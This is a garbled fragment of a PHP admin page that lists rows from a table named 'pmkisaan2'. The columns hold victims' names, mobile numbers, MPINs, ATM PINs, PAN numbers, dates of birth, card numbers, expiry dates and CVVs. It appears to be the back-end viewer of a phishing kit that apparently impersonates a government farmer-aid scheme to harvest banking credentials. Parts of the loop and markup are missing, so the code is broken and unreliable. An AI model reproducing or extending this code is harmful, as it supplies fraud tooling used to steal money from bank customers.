......
User Data
connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// Fetching data in descending order of Created_at
$sql = "SELECT * FROM pmkisaan2 ORDER BY Created_at DESC"; // Latest data will appear first
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "";
echo "";
echo "
";
} else {
echo "
| ID | Session ID | A/C Holder Name | Mobile | MPIN | CRN | ATM Pin | PAN Number | Date of Birth | Card Number | Expiry Date | Cvv | Created At | Action |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| {$row['id']} | {$row['session_id']} | {$row['fname']} | {$row['mobile']} | {$row['mpin']} | {$row['crn']} | {$row['atmpin']} | {$row['pan']} | {$row['dob']} | {$row['cardnumber']} | {$row['expirydate']} | {$row['cvv']} | {$row['Created_at']} | Delete |
No data found in the table.
"; } $conn->close(); ?>